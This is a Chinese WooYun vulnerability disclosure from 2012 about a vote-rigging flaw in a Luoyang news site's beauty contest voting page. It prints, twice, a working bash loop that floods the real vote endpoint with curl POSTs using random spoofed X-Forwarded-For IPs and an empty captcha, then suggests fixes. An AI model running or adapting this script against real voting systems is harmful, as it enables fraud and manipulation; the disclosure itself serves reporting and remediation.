当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-05285

漏洞标题：2012洛阳首届胸模大赛投票系统刷票漏洞

相关厂商：洛阳网 http://www2.lyd.com.cn:8080/

漏洞作者： mckelvin

提交时间：2012-03-15 21:21

修复时间：2012-03-15 21:21

公开时间：2012-03-15 21:21

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：4

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-03-15： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-03-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

存在IP绕过漏洞
存在验证码绕过漏洞

详细说明：

#!/bin/bash
# author @十三乙
# vote for http://weibo.com/1680241201/y9ZarqaHo
# http://www2.lyd.com.cn:8080/ph.asp
REFERER="http://www2.lyd.com.cn:8080/ph.asp";
USER_AGENT="Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11";
while true;
do
	FAKEIP="$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255))"
	curl -X POST -H "X-Forwarded-For:$FAKEIP" -H "Referer:$REFERER" -H "UserAgent:$USER_AGENT" -d "toupiao_id=24&votecode=&x=79&y=38" "http://www2.lyd.com.cn:8080/tp_sub.asp"
done

漏洞证明：

@李铁根 ： 越是身处喧嚣迷乱的尘世，越要坚持真实的自己。在这个去伪存真的日子，伸出你有爱的双手，帮忙在洛阳首届胸模大赛中投康艳艳一票吧。http://t.cn/zOMyhTb



#!/bin/bash
# author @十三乙
# vote for http://weibo.com/1680241201/y9ZarqaHo
# http://www2.lyd.com.cn:8080/ph.asp
REFERER="http://www2.lyd.com.cn:8080/ph.asp";
USER_AGENT="Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11";
while true;
do
	FAKEIP="$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255))"
	curl -X POST -H "X-Forwarded-For:$FAKEIP" -H "Referer:$REFERER" -H "UserAgent:$USER_AGENT" -d "toupiao_id=24&votecode=&x=79&y=38" "http://www2.lyd.com.cn:8080/tp_sub.asp"
done

修复方案：

验证码绕过：初始化session中的验证码、处理post请求时判断验证码是否为空。
IP绕过：综合RemoteAddress和XFF判断是否重复投票。
可参考： 浅谈新形势下在线Web投票系统的攻防(1)/(2)
× http://blog.mckelv.in/articles/1114.html

版权声明：转载请注明来源 mckelvin@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝